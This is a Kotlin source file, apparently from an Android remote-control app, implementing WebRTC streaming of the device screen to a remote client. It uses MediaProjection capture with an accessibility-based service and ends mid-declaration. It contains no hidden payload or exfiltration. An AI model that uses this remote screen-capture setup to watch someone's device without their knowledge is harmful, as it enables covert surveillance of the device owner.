androidx.annotation.RequiresApi +import com.hikoncont.MediaProjectionHolder +import com.hikoncont.service.AccessibilityRemoteService +import com.hikoncont.service.RemoteControlForegroundService +import com.hikoncont.util.DeviceDetector +import org.json.JSONObject +import org.webrtc.DefaultVideoDecoderFactory +import org.webrtc.DefaultVideoEncoderFactory +import org.webrtc.EglBase +import org.webrtc.CandidatePairChangeEvent +import org.webrtc.IceCandidate +import org.webrtc.MediaConstraints +import org.webrtc.PeerConnection +import org.webrtc.PeerConnectionFactory +import org.webrtc.RtpSender +import org.webrtc.ScreenCapturerAndroid +import org.webrtc.SessionDescription +import org.webrtc.SdpObserver +import org.webrtc.SurfaceTextureHelper +import org.webrtc.VideoSource +import org.webrtc.VideoTrack +import java.util.concurrent.CountDownLatch +import java.util.concurrent.Executors +import java.util.concurrent.TimeUnit +import java.util.concurrent.atomic.AtomicLong +import java.util.concurrent.atomic.AtomicBoolean +import kotlin.math.roundToInt + +@RequiresApi(Build.VERSION_CODES.LOLLIPOP) +class WebRTCManager( + private val service: AccessibilityRemoteService, + private val listener: Listener +) { + private val webRtcTransportPolicy = DeviceDetector.getWebRtcTransportPolicy() + + interface Listener { + fun onAnswer(deviceId: String, clientId: String, type: String, sdp: String) + fun onIceCandidate(deviceId: String, clientId: String, candidate: IceCandidate) + fun onStateChanged(deviceId: String, clientId: String, state: String, message: String, extra: JSONObject? = null) + fun onStopped(deviceId: String, clientId: String, reason: String) + } + + data class StartResult( + val success: Boolean, + val message: String, + val extra: JSONObject? = null + ) + + private data class Session( + val sessionToken: Long, + val deviceId: String, + val clientId: String, + val peerConnection: PeerConnection, + val videoCapturer: ScreenCapturerAndroid, + val videoSource: VideoSource, + val videoTrack: VideoTrack, + val surfaceTextureHelper: SurfaceTextureHelper, + val width: Int, + val height: Int, + val fps: Int, + val bitrateBps: Int, + val maxLongEdge: Int, + val priority: String, + @Volatile var isClosing: Boolean = false, + @Volatile var captureStarted: Boolean = false + ) + + private data class ScreenConfig( + val width: Int, + val height: Int, + val fps: Int, + val bitrateBps: Int, + val maxLongEdge: Int, + val priority: String + ) + + private enum class StreamPriority(val wireValue: String) { + SMOOTH("smooth"), + BALANCED("balanced"), + QUALITY("quality"); + + companion object { + fun fromRaw(raw: String?): StreamPriority { + return when (raw?.trim()?.lowercase()) { + QUALITY.wireValue -> QUALITY + BALANCED.wireValue -> BALANCED + else -> SMOOTH + } + } + } + } + + companion object { + private const val TAG = "WebRTCManager" + private const val VIDEO_TRACK_ID_PREFIX = "screen-track-" + private const val STREAM_ID_PREFIX = "screen-stream-" + private const val MIN_FPS = 12 + private const val MAX_FPS = 60 + private const val MIN_LONG_EDGE = 360 + private const val MAX_LONG_EDGE = 1920 + private const val MIN_BITRATE_BPS = 300_000 + private const val MAX_BITRATE_BPS = 8_000_000 + private const val DEFAULT_STUN_URL = "stun:stun.l.google.com:19302" + } + + private val lock = Any() + private val rtcExecutor = Executors.newSingleThreadExecutor { runnable -> + Thread(runnable, "WebRTC-Native-Worker").apply { isDaemon = true } + } + private val sessionTokenGenerator = AtomicLong(1L) + private var peerConnectionFactory: PeerConnectionFactory? = null + private var eglBase: EglBase? = null + private val sessions: MutableMap = linkedMapOf() + private val pendingRemoteCandidates: MutableMap> = linkedMapOf() + + private var turnUrls: List = emptyList() + private var turnUsername: String = "" + private var turnPassword: String = "" + + fun updateTurnConfig(urlsRaw: String?, username: String?, password: String?) { + synchronized(lock) { + turnUrls = urlsRaw + ?.split(',', ';', ' ', '\n', '\t') + ?.map { it.trim() } + ?.filter { it.isNotEmpty() } + ?: emptyList() + turnUsername = username?.trim().orEmpty() + turnPassword = password?.trim().orEmpty() + } + } + + fun isStreaming(): Boolean = synchronized(lock) { + sessions.isNotEmpty() + } + + fun startFromOffer( + deviceId: String, + clientId: String, + sdp: String, + type: String = "offer", + requestedFps: Int? = null, + requestedMaxLongEdge: Int? = null, + requestedBitrateKbps: Int? = null, + priorityRaw: String? = null + ): StartResult { + if (clientId.isBlank() || deviceId.isBlank() || sdp.isBlank()) { + return StartResult(false, "invalid_webrtc_offer_payload") + } + if (!type.equals("offer", ignoreCase = true)) { + return StartResult(false, "invalid_webrtc_offer_type") + } + + val permissionData = MediaProjectionHolder.getPermissionData() + val hasPermissionData = permissionData != null + val hasProjectionObject = MediaProjectionHolder.getMediaProjection() != null + val projectionIntent = permissionData?.second + if (projectionIntent == null) { + return StartResult( + success = false, + message = "media_projection_not_ready", + extra = JSONObject().apply { + put("hasPermissionData", hasPermissionData) + put("hasProjectionObject", hasProjectionObject) + } + ) + } + + // Android 10+ 在创建/启动屏幕采集前,先确保前台服务已升级为 mediaProjection 类型。 + // 这个兜底可以降低高频重连时出现的 SecurityException(FGS type 不匹配)。 + ensureMediaProjectionForegroundServiceForWebRtc() + + val config = buildScreenConfig( + requestedFps = requestedFps, + requestedMaxLongEdge = requestedMaxLongEdge, + requestedBitrateKbps = requestedBitrateKbps, + priorityRaw = priorityRaw + ) + + val extra = JSONObject().apply { + put("width", config.width) + put("height", config.height) + put("fps", config.fps) + put("bitrateBps", config.bitrateBps) + put("maxLongEdge", config.maxLongEdge) + put("priority", config.priority) + } + val normalizedOfferSdp = normalizeSdpLineEndings(sdp) + val compatOfferSdp = buildCompatOfferSdp(normalizedOfferSdp) + extra.put("offerSdpSummary", buildOfferSdpSummary(normalizedOfferSdp, compatOfferSdp)) + + try { + val sessionToken = sessionTokenGenerator.getAndIncrement() + val factory = ensureFactory() + val rtcConfig = PeerConnection.RTCConfiguration(buildIceServers()).apply { + sdpSemantics = PeerConnection.SdpSemantics.UNIFIED_PLAN + bundlePolicy = PeerConnection.BundlePolicy.MAXBUNDLE + tcpCandidatePolicy = PeerConnection.TcpCandidatePolicy.ENABLED + continualGatheringPolicy = PeerConnection.ContinualGatheringPolicy.GATHER_CONTINUALLY + } + + val peerConnection = factory.createPeerConnection( + rtcConfig, + createPeerConnectionObserver(deviceId, clientId, sessionToken) + ) ?: return StartResult(false, "create_peer_connection_failed") + + val surfaceTextureHelper = SurfaceTextureHelper.create( + "WebRTC-ScreenCapture-$clientId", + eglBase?.eglBaseContext + ) + val videoSource = factory.createVideoSource(true) + val projectionCallback = object : MediaProjection.Callback() { + override fun onStop() { + Log.w(TAG, "MediaProjection stopped by system, clientId=$clientId") + stop(clientId, "media_projection_stopped", notifyStop = true) + } + } + val videoCapturer = try { + ScreenCapturerAndroid(Intent(projectionIntent), projectionCallback) + } catch (e: Exception) { + Log.e(TAG, "Create ScreenCapturerAndroid failed", e) + try { + peerConnection.close() + } catch (_: Exception) { + } + videoSource.dispose() + surfaceTextureHelper.dispose() + return buildCaptureStartFailureResult( + phase = "create_capturer", + throwable = e, + config = config, + hasPermissionData = hasPermissionData, + hasProjectionObject = hasProjectionObject + ) + } + try { + videoCapturer.initialize( + surfaceTextureHelper, + service.applicationContext, + videoSource.capturerObserver + ) + } catch (e: Exception) { + Log.e(TAG, "Initialize ScreenCapturerAndroid failed", e) + try { + videoCapturer.dispose() + } catch (_: Exception) { + } + try { + peerConnection.close() + } catch (_: Exception) { + } + videoSource.dispose() + surfaceTextureHelper.dispose() + return buildCaptureStartFailureResult( + phase = "initialize_capturer", + throwable = e, + config = config, + hasPermissionData = hasPermissionData, + hasProjectionObject = hasProjectionObject + ) + } + + val videoTrack = factory.createVideoTrack( + VIDEO_TRACK_ID_PREFIX + clientId, + videoSource + ) + val sender = peerConnection.addTrack( + videoTrack, + listOf(STREAM_ID_PREFIX + clientId) + ) + applySenderParameters(sender, config.bitrateBps, config.fps) + + synchronized(lock) { + stopSessionLocked(clientId, "session_replaced", notifyStop = false) + pendingRemoteCandidates.remove(clientId) + sessions[clientId] = Session( + sessionToken = sessionToken, + deviceId = deviceId, + clientId = clientId, + peerConnection = peerConnection, + videoCapturer = videoCapturer, + videoSource = videoSource, + videoTrack = videoTrack, + surfaceTextureHelper = surfaceTextureHelper, + width = config.width, + height = config.height, + fps = config.fps, + bitrateBps = config.bitrateBps, + maxLongEdge = config.maxLongEdge, + priority = config.priority + ) + } + Log.i( + TAG, + "WebRTC session created: clientId=$clientId, token=$sessionToken, target=${config.width}x${config.height}@${config.fps}" + ) + + listener.onStateChanged(deviceId, clientId, "starting", "webrtc_offer_received", extra) + + val retriedWithCompat = AtomicBoolean(false) + lateinit var trySetRemoteOffer: (String, String) -> Unit + trySetRemoteOffer = { offerSdpText, mode -> + peerConnection.setRemoteDescription( + object : SimpleSdpObserver() { + override fun onSetSuccess() { + if (!isSessionCurrent(clientId, sessionToken)) return + if (mode == "compat") { + listener.onStateChanged( + deviceId, + clientId, + "starting", + "set_remote_offer_compat_applied", + JSONObject().apply { put("mode", mode) } + ) + } + flushPendingRemoteCandidates(clientId, sessionToken) + createAndSendAnswer(deviceId, clientId, sessionToken) + startCaptureAsync( + deviceId = deviceId, + clientId = clientId, + sessionToken = sessionToken, + videoCapturer = videoCapturer, + sender = sender, + primaryConfig = config, + hasPermissionData = hasPermissionData, + hasProjectionObject = hasProjectionObject + ) + } + + override fun onSetFailure(error: String?) { + if (!isSessionCurrent(clientId, sessionToken)) return + val errorText = error.orEmpty() + val canRetryCompat = + mode != "compat" && + compatOfferSdp != normalizedOfferSdp && + retriedWithCompat.compareAndSet(false, true) && + shouldRetryWithCompatSdp(errorText) + if (canRetryCompat) { + Log.w( + TAG, + "Set remote offer failed, retry with compat SDP: clientId=$clientId, error=$errorText" + ) + listener.onStateChanged( + deviceId, + clientId, + "starting", + "set_remote_offer_retry_compat:$errorText", + JSONObject().apply { + put("mode", "compat") + put("offerSummary", buildOfferSdpSummary(normalizedOfferSdp, compatOfferSdp)) + } + ) + runRtcTask("set_remote_offer_compat:$clientId:$sessionToken") { + if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask + trySetRemoteOffer(compatOfferSdp, "compat") + } + return + } + + Log.e(TAG, "Set remote offer failed ($mode): $errorText") + listener.onStateChanged( + deviceId, + clientId, + "failed", + "set_remote_offer_failed:$errorText", + JSONObject().apply { + put("mode", mode) + put("offerSummary", buildOfferSdpSummary(normalizedOfferSdp, compatOfferSdp)) + } + ) + stop(clientId, "set_remote_offer_failed", notifyStop = false) + } + }, + SessionDescription(SessionDescription.Type.OFFER, offerSdpText) + ) + } + + runRtcTask("set_remote_offer:$clientId:$sessionToken") { + if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask + trySetRemoteOffer(normalizedOfferSdp, "default") + } + + return StartResult(true, "webrtc_starting", extra) + } catch (e: Exception) { + Log.e(TAG, "Start WebRTC from offer failed", e) + stop(clientId, "webrtc_start_exception", notifyStop = false) + return StartResult(false, "webrtc_start_exception:${e.message ?: "unknown"}") + } + } + + fun addRemoteIceCandidate( + clientId: String, + candidate: String, + sdpMid: String?, + sdpMLineIndex: Int? + ): Boolean { + if (clientId.isBlank() || candidate.isBlank()) return false + val candidateObj = IceCandidate( + sdpMid, + sdpMLineIndex ?: 0, + candidate + ) + + synchronized(lock) { + val queue = pendingRemoteCandidates.getOrPut(clientId) { mutableListOf() } + queue.add(candidateObj) + } + flushPendingRemoteCandidates(clientId, expectedSessionToken = null) + return true + } + + fun stop(clientId: String, reason: String = "remote_stop", notifyStop: Boolean = true): Boolean { + synchronized(lock) { + return stopSessionLocked(clientId, reason, notifyStop) + } + } + + fun stopAll(reason: String = "manager_stop_all", notifyStop: Boolean = true) { + synchronized(lock) { + val ids = sessions.keys.toList() + ids.forEach { clientId -> + stopSessionLocked(clientId, reason, notifyStop) + } + } + } + + fun release() { + stopAll(reason = "manager_release", notifyStop = false) + synchronized(lock) { + pendingRemoteCandidates.clear() + } + val latch = CountDownLatch(1) + runRtcTask("release_factory") { + try { + peerConnectionFactory?.dispose() + } catch (e: Exception) { + Log.w(TAG, "Dispose PeerConnectionFactory failed", e) + } finally { + peerConnectionFactory = null + } + try { + eglBase?.release() + } catch (e: Exception) { + Log.w(TAG, "Release EGL failed", e) + } finally { + eglBase = null + } + latch.countDown() + } + try { + latch.await(2, TimeUnit.SECONDS) + } catch (_: InterruptedException) { + // ignore + } + } + + private fun runRtcTask(taskName: String, task: () -> Unit) { + try { + rtcExecutor.execute { + try { + task() + } catch (t: Throwable) { + Log.e(TAG, "RTC task failed: $taskName", t) + } + } + } catch (e: Exception) { + Log.w(TAG, "RTC task schedule failed: $taskName", e) + } + } + + private fun stopSessionLocked(clientId: String, reason: String, notifyStop: Boolean): Boolean { + pendingRemoteCandidates.remove(clientId) + val session = sessions[clientId] ?: return false + if (session.isClosing) { + return false + } + session.isClosing = true + sessions.remove(clientId) + Log.i(TAG, "WebRTC session stopping: clientId=$clientId, token=${session.sessionToken}, reason=$reason") + + runRtcTask("stop_session:$clientId:${session.sessionToken}") { + safeRtcOperation("stopCapture:$clientId") { + if (session.captureStarted) { + session.videoCapturer.stopCapture() + session.captureStarted = false + } + } + safeRtcOperation("disableTrack:$clientId") { + session.videoTrack.setEnabled(false) + } + safeRtcOperation("closePeerConnection:$clientId") { + session.peerConnection.close() + } + safeRtcOperation("disposeVideoTrack:$clientId") { + session.videoTrack.dispose() + } + safeRtcOperation("disposeVideoSource:$clientId") { + session.videoSource.dispose() + } + safeRtcOperation("disposeSurfaceTextureHelper:$clientId") { + session.surfaceTextureHelper.dispose() + } + safeRtcOperation("disposeCapturer:$clientId") { + session.videoCapturer.dispose() + } + } + + if (notifyStop) { + listener.onStateChanged(session.deviceId, session.clientId, "stopped", reason) + listener.onStopped(session.deviceId, session.clientId, reason) + } + return true + } + + private fun safeRtcOperation(op: String, action: () -> Unit) { + try { + action() + } catch (_: InterruptedException) { + // ignore + } catch (t: Throwable) { + Log.w(TAG, "RTC op failed: $op", t) + } + } + + private fun isSessionCurrent(clientId: String, expectedToken: Long): Boolean = synchronized(lock) { + val session = sessions[clientId] ?: return@synchronized false + session.sessionToken == expectedToken && !session.isClosing + } + + private fun getSessionIfCurrent(clientId: String, expectedToken: Long): Session? = synchronized(lock) { + val session = sessions[clientId] ?: return@synchronized null + if (session.sessionToken == expectedToken && !session.isClosing) session else null + } + + private fun flushPendingRemoteCandidates(clientId: String, expectedSessionToken: Long?) { + runRtcTask("flush_candidates:$clientId") { + val session = synchronized(lock) { sessions[clientId] } ?: return@runRtcTask + if (session.isClosing) return@runRtcTask + if (expectedSessionToken != null && session.sessionToken != expectedSessionToken) return@runRtcTask + + val remoteDescriptionReady = try { + session.peerConnection.remoteDescription != null + } catch (_: Exception) { + false + } + if (!remoteDescriptionReady) return@runRtcTask + + val queued = synchronized(lock) { pendingRemoteCandidates.remove(clientId)?.toList() ?: emptyList() } + if (queued.isEmpty()) return@runRtcTask + + queued.forEach { candidate -> + try { + session.peerConnection.addIceCandidate(candidate) + } catch (e: Exception) { + Log.w(TAG, "Apply queued remote ICE candidate failed: clientId=$clientId", e) + } + } + } + } + + private fun createAndSendAnswer(deviceId: String, clientId: String, sessionToken: Long) { + val session = getSessionIfCurrent(clientId, sessionToken) ?: return + val pc = session.peerConnection + runRtcTask("create_answer:$clientId:$sessionToken") { + if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask + pc.createAnswer(object : SimpleSdpObserver() { + override fun onCreateSuccess(desc: SessionDescription?) { + if (desc == null) { + if (!isSessionCurrent(clientId, sessionToken)) return + listener.onStateChanged(deviceId, clientId, "failed", "create_answer_empty") + stop(clientId, "create_answer_empty", notifyStop = false) + return + } + + runRtcTask("set_local_answer:$clientId:$sessionToken") setLocalAnswer@{ + if (!isSessionCurrent(clientId, sessionToken)) return@setLocalAnswer + pc.setLocalDescription(object : SimpleSdpObserver() { + override fun onSetSuccess() { + val current = getSessionIfCurrent(clientId, sessionToken) ?: return + listener.onAnswer(deviceId, clientId, desc.type.canonicalForm(), desc.description) + listener.onStateChanged( + deviceId, + clientId, + "running", + "webrtc_answer_sent", + JSONObject().apply { + put("width", current.width) + put("height", current.height) + put("fps", current.fps) + put("bitrateBps", current.bitrateBps) + put("maxLongEdge", current.maxLongEdge) + put("priority", current.priority) + } + ) + } + + override fun onSetFailure(error: String?) { + if (!isSessionCurrent(clientId, sessionToken)) return + listener.onStateChanged(deviceId, clientId, "failed", "set_local_answer_failed:$error") + stop(clientId, "set_local_answer_failed", notifyStop = false) + } + }, desc) + } + } + + override fun onCreateFailure(error: String?) { + if (!isSessionCurrent(clientId, sessionToken)) return + listener.onStateChanged(deviceId, clientId, "failed", "create_answer_failed:$error") + stop(clientId, "create_answer_failed", notifyStop = false) + } + }, MediaConstraints().apply { + mandatory.add(MediaConstraints.KeyValuePair("OfferToReceiveVideo", "true")) + mandatory.add(MediaConstraints.KeyValuePair("OfferToReceiveAudio", "false")) + }) + } + } + + private fun createPeerConnectionObserver( + deviceId: String, + clientId: String, + sessionToken: Long + ): PeerConnection.Observer { + return object : PeerConnection.Observer { + override fun onSignalingChange(state: PeerConnection.SignalingState?) {} + override fun onIceConnectionReceivingChange(receiving: Boolean) {} + override fun onIceGatheringChange(state: PeerConnection.IceGatheringState?) {} + override fun onIceCandidate(candidate: IceCandidate?) { + if (candidate != null && isSessionCurrent(clientId, sessionToken)) { + listener.onIceCandidate(deviceId, clientId, candidate) + } + } + + override fun onIceCandidatesRemoved(candidates: Array?) {} + override fun onAddStream(stream: org.webrtc.MediaStream?) {} + override fun onRemoveStream(stream: org.webrtc.MediaStream?) {} + override fun onDataChannel(channel: org.webrtc.DataChannel?) {} + override fun onRenegotiationNeeded() {} + override fun onAddTrack( + receiver: org.webrtc.RtpReceiver?, + mediaStreams: Array? + ) { + } + + override fun onConnectionChange(newState: PeerConnection.PeerConnectionState?) { + when (newState) { + PeerConnection.PeerConnectionState.CONNECTED -> { + if (!isSessionCurrent(clientId, sessionToken)) return + listener.onStateChanged(deviceId, clientId, "running", "webrtc_connection_connected") + } + + PeerConnection.PeerConnectionState.CONNECTING -> { + if (!isSessionCurrent(clientId, sessionToken)) return + listener.onStateChanged(deviceId, clientId, "starting", "webrtc_connection_connecting") + } + + PeerConnection.PeerConnectionState.DISCONNECTED -> { + if (!isSessionCurrent(clientId, sessionToken)) return + listener.onStateChanged(deviceId, clientId, "stopped", "webrtc_connection_disconnected") + } + + PeerConnection.PeerConnectionState.FAILED -> { + if (!isSessionCurrent(clientId, sessionToken)) return + stop(clientId, "webrtc_connection_failed", notifyStop = true) + } + + PeerConnection.PeerConnectionState.CLOSED -> { + if (!isSessionCurrent(clientId, sessionToken)) return + stop(clientId, "webrtc_connection_closed", notifyStop = true) + } + + else -> Unit + } + } + + override fun onSelectedCandidatePairChanged(event: CandidatePairChangeEvent?) {} + override fun onTrack(transceiver: org.webrtc.RtpTransceiver?) {} + + override fun onStandardizedIceConnectionChange(newState: PeerConnection.IceConnectionState?) {} + override fun onIceConnectionChange(state: PeerConnection.IceConnectionState?) { + if (state == PeerConnection.IceConnectionState.FAILED) { + if (!isSessionCurrent(clientId, sessionToken)) return + stop(clientId, "webrtc_ice_failed", notifyStop = true) + } + } + } + } + + private fun ensureFactory(): PeerConnectionFactory { + synchronized(lock) { + peerConnectionFactory?.let { return it } + + val appContext = service.applicationContext + PeerConnectionFactory.initialize( + PeerConnectionFactory.InitializationOptions.builder(appContext) + .setEnableInternalTracer(false) + .createInitializationOptions() + ) + + val egl = EglBase.create() + val encoderFactory = DefaultVideoEncoderFactory(egl.eglBaseContext, true, true) + val decoderFactory = DefaultVideoDecoderFactory(egl.eglBaseContext) + val factory = PeerConnectionFactory.builder() + .setOptions(PeerConnectionFactory.Options()) + .setVideoEncoderFactory(encoderFactory) + .setVideoDecoderFactory(decoderFactory) + .createPeerConnectionFactory() + + eglBase = egl + peerConnectionFactory = factory + return factory + } + } + + private fun buildIceServers(): List { + val list = mutableListOf() + list.add(PeerConnection.IceServer.builder(DEFAULT_STUN_URL).createIceServer()) + + val urls = synchronized(lock) { turnUrls.toList() } + if (urls.isNotEmpty()) { + val username = synchronized(lock) { turnUsername } + val password = synchronized(lock) { turnPassword } + val builder = PeerConnection.IceServer.builder(urls) + if (username.isNotBlank()) builder.setUsername(username) + if (password.isNotBlank()) builder.setPassword(password) + list.add(builder.createIceServer()) + } + return list + } + + private fun applySenderParameters(sender: RtpSender?, bitrateBps: Int, fps: Int) { + if (sender == null) return + try { + val parameters = sender.parameters ?: return + val encodings = parameters.encodings + if (encodings.isNullOrEmpty()) return + val encoding = encodings[0] + encoding.maxBitrateBps = bitrateBps + encoding.minBitrateBps = MIN_BITRATE_BPS + encoding.maxFramerate = fps + sender.parameters = parameters + } catch (e: Exception) { + Log.w(TAG, "Apply RtpSender parameters failed", e) + } + } + + private fun hasActiveSession(clientId: String): Boolean = synchronized(lock) { + sessions[clientId]?.isClosing == false + } + + private fun buildCaptureFallbackConfigs(primary: ScreenConfig): List { + val fallbackMedium = primary.copy( + width = toEven((primary.width * 0.86f).roundToInt().coerceAtLeast(640)), + height = toEven((primary.height * 0.86f).roundToInt().coerceAtLeast(360)), + fps = primary.fps.coerceAtMost(30).coerceAtLeast(18), + bitrateBps = (primary.bitrateBps * 0.78f).roundToInt().coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS), + maxLongEdge = (primary.maxLongEdge * 0.86f).roundToInt().coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE) + ) + val fallbackLow = primary.copy( + width = toEven((primary.width * 0.70f).roundToInt().coerceAtLeast(480)), + height = toEven((primary.height * 0.70f).roundToInt().coerceAtLeast(270)), + fps = primary.fps.coerceAtMost(24).coerceAtLeast(MIN_FPS), + bitrateBps = (primary.bitrateBps * 0.58f).roundToInt().coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS), + maxLongEdge = (primary.maxLongEdge * 0.72f).roundToInt().coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE) + ) + return listOf(primary, fallbackMedium, fallbackLow) + .distinctBy { "${it.width}x${it.height}@${it.fps}:${it.bitrateBps}" } + } + + private fun startCaptureWithFallback( + videoCapturer: ScreenCapturerAndroid, + sender: RtpSender?, + primaryConfig: ScreenConfig + ): Pair { + var lastError: Throwable? = null + val attempts = buildCaptureFallbackConfigs(primaryConfig) + + for ((index, attempt) in attempts.withIndex()) { + try { + applySenderParameters(sender, attempt.bitrateBps, attempt.fps) + videoCapturer.startCapture(attempt.width, attempt.height, attempt.fps) + if (index > 0) { + Log.i( + TAG, + "WebRTC capture fallback applied: ${attempt.width}x${attempt.height}@${attempt.fps}, bitrate=${attempt.bitrateBps}" + ) + } + return Pair(attempt, null) + } catch (e: Throwable) { + lastError = e + Log.w( + TAG, + "Start capture attempt ${index + 1}/${attempts.size} failed: ${attempt.width}x${attempt.height}@${attempt.fps}", + e + ) + try { + videoCapturer.stopCapture() + } catch (_: InterruptedException) { + // ignore + } catch (_: Exception) { + // ignore + } + } + } + return Pair(null, lastError) + } + + private fun startCaptureAsync( + deviceId: String, + clientId: String, + sessionToken: Long, + videoCapturer: ScreenCapturerAndroid, + sender: RtpSender?, + primaryConfig: ScreenConfig, + hasPermissionData: Boolean, + hasProjectionObject: Boolean + ) { + runRtcTask("start_capture:$clientId:$sessionToken") { + if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask + + val captureStartResult = startCaptureWithFallback(videoCapturer, sender, primaryConfig) + val startedConfig = captureStartResult.first + if (startedConfig == null) { + val captureError = captureStartResult.second ?: RuntimeException("unknown_capture_error") + Log.e(TAG, "Start WebRTC screen capture failed (async)", captureError) + val failureResult = buildCaptureStartFailureResult( + phase = "start_capture", + throwable = captureError, + config = primaryConfig, + hasPermissionData = hasPermissionData, + hasProjectionObject = hasProjectionObject + ) + val failureExtra = JSONObject().apply { + failureResult.extra?.let { detail -> + put("detail", detail) + } + } + listener.onStateChanged( + deviceId, + clientId, + "failed", + failureResult.message, + failureExtra + ) + stop(clientId, "webrtc_start_capture_failed", notifyStop = false) + return@runRtcTask + } + + synchronized(lock) { + sessions[clientId]?.let { current -> + if (current.sessionToken == sessionToken && !current.isClosing) { + sessions[clientId] = current.copy( + width = startedConfig.width, + height = startedConfig.height, + fps = startedConfig.fps, + bitrateBps = startedConfig.bitrateBps, + maxLongEdge = startedConfig.maxLongEdge, + priority = startedConfig.priority, + captureStarted = true + ) + } + } + } + + if (startedConfig != primaryConfig) { + listener.onStateChanged( + deviceId, + clientId, + "starting", + "webrtc_capture_profile_fallback", + JSONObject().apply { + put("width", startedConfig.width) + put("height", startedConfig.height) + put("fps", startedConfig.fps) + put("bitrateBps", startedConfig.bitrateBps) + put("maxLongEdge", startedConfig.maxLongEdge) + put("priority", startedConfig.priority) + } + ) + } + } + } + + private fun buildScreenConfig( + requestedFps: Int?, + requestedMaxLongEdge: Int?, + requestedBitrateKbps: Int?, + priorityRaw: String? + ): ScreenConfig { + val metrics = service.resources.displayMetrics + val rawWidth = metrics.widthPixels.coerceAtLeast(2) + val rawHeight = metrics.heightPixels.coerceAtLeast(2) + + val priority = StreamPriority.fromRaw(priorityRaw) + val defaultFps = when (priority) { + StreamPriority.SMOOTH -> 40 + StreamPriority.BALANCED -> 36 + StreamPriority.QUALITY -> 30 + } + val defaultLongEdge = when (priority) { + StreamPriority.SMOOTH -> 960 + StreamPriority.BALANCED -> 1152 + StreamPriority.QUALITY -> 1280 + } + val bitrateFactor = when (priority) { + StreamPriority.SMOOTH -> 0.045 + StreamPriority.BALANCED -> 0.060 + StreamPriority.QUALITY -> 0.080 + } + + val fps = (requestedFps ?: defaultFps).coerceIn(MIN_FPS, MAX_FPS) + val maxLongEdge = (requestedMaxLongEdge ?: defaultLongEdge).coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE) + val sourceLong = maxOf(rawWidth, rawHeight) + val sourceShort = minOf(rawWidth, rawHeight) + val scale = if (sourceLong > maxLongEdge) { + maxLongEdge.toFloat() / sourceLong.toFloat() + } else { + 1f + } + + val targetLong = ((sourceLong * scale).roundToInt()).coerceAtLeast(2) + val targetShort = ((sourceShort * scale).roundToInt()).coerceAtLeast(2) + val width = if (rawWidth >= rawHeight) toEven(targetLong) else toEven(targetShort) + val height = if (rawWidth >= rawHeight) toEven(targetShort) else toEven(targetLong) + + val estimatedBitrateBps = (width.toLong() * height.toLong() * fps.toLong() * bitrateFactor) + .toLong() + .coerceAtLeast(MIN_BITRATE_BPS.toLong()) + .coerceAtMost(MAX_BITRATE_BPS.toLong()) + .toInt() + + val requestedBitrateBps = requestedBitrateKbps + ?.takeIf { it > 0 } + ?.let { it * 1000 } + + val bitrateBps = (requestedBitrateBps ?: estimatedBitrateBps) + .coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS) + + return ScreenConfig( + width = width, + height = height, + fps = fps, + bitrateBps = bitrateBps, + maxLongEdge = maxLongEdge, + priority = priority.wireValue + ) + } + + private fun toEven(value: Int): Int { + val safe = value.coerceAtLeast(2) + return if (safe % 2 == 0) safe else safe - 1 + } + + private fun ensureMediaProjectionForegroundServiceForWebRtc() { + if (!webRtcTransportPolicy.forceMediaProjectionFgsBeforeCapture) return + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) return + try { + val intent = Intent(service, RemoteControlForegroundService::class.java).apply { + action = "START_MEDIA_PROJECTION_FGS_ONLY" + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + service.startForegroundService(intent) + } else { + service.startService(intent) + } + Thread.sleep(120) + Log.i( + TAG, + "Ensure mediaProjection foreground service before WebRTC capture, strategy=${webRtcTransportPolicy.strategyId}" + ) + } catch (e: Exception) { + Log.w(TAG, "Ensure mediaProjection foreground service failed", e) + } + } + + private fun normalizeSdpLineEndings(raw: String): String { + val normalized = raw + .replace("\r\n", "\n") + .replace('\r', '\n') + val lines = normalized + .split('\n') + .map { it.trimEnd() } + .filter { it.isNotEmpty() } + if (lines.isEmpty()) return "" + return lines.joinToString("\r\n", postfix = "\r\n") + } + + private fun buildCompatOfferSdp(raw: String): String { + val normalized = normalizeSdpLineEndings(raw) + if (normalized.isBlank()) return normalized + val lines = normalized + .split("\r\n") + .filter { it.isNotBlank() } + val rewritten = mutableListOf() + for (line in lines) { + val lower = line.lowercase() + if (lower == "a=extmap-allow-mixed") { + continue + } + if (lower == "a=rtcp-rsize") { + continue + } + if (lower.startsWith("a=ice-options:")) { + val optionsRaw = line.substringAfter(':', "").trim() + val options = optionsRaw + .split(' ') + .map { it.trim() } + .filter { it.isNotEmpty() && !it.equals("renomination", ignoreCase = true) } + if (options.isNotEmpty()) { + rewritten.add("a=ice-options:${options.joinToString(" ")}") + } + continue + } + rewritten.add(line) + } + if (rewritten.isEmpty()) return normalized + return rewritten.joinToString("\r\n", postfix = "\r\n") + } + + private fun shouldRetryWithCompatSdp(error: String): Boolean { + val lowered = error.lowercase() + if (lowered.isBlank()) return false + return lowered.contains("sessiondescription is null") || + lowered.contains("session description is null") || + lowered.contains("failed to parse") || + lowered.contains("sdp") + } + + private fun buildOfferSdpSummary(defaultSdp: String, compatSdp: String): JSONObject { + val normalizedDefault = normalizeSdpLineEndings(defaultSdp) + val normalizedCompat = normalizeSdpLineEndings(compatSdp) + fun collect(sdp: String): JSONObject { + val lines = sdp.split("\r\n").filter { it.isNotBlank() } + return JSONObject().apply { + put("length", sdp.length) + put("lineCount", lines.size) + put("hasV0", sdp.startsWith("v=0")) + put("hasMVideo", lines.any { it.startsWith("m=video") }) + put("hasExtmapAllowMixed", lines.any { it.equals("a=extmap-allow-mixed", ignoreCase = true) }) + put("hasRtcpRsize", lines.any { it.equals("a=rtcp-rsize", ignoreCase = true) }) + put( + "iceOptions", + lines.firstOrNull { it.startsWith("a=ice-options:", ignoreCase = true) }?.substringAfter(':', "") + ?: "" + ) + } + } + return JSONObject().apply { + put("default", collect(normalizedDefault)) + put("compat", collect(normalizedCompat)) + put("changed", normalizedDefault != normalizedCompat) + } + } + + private fun 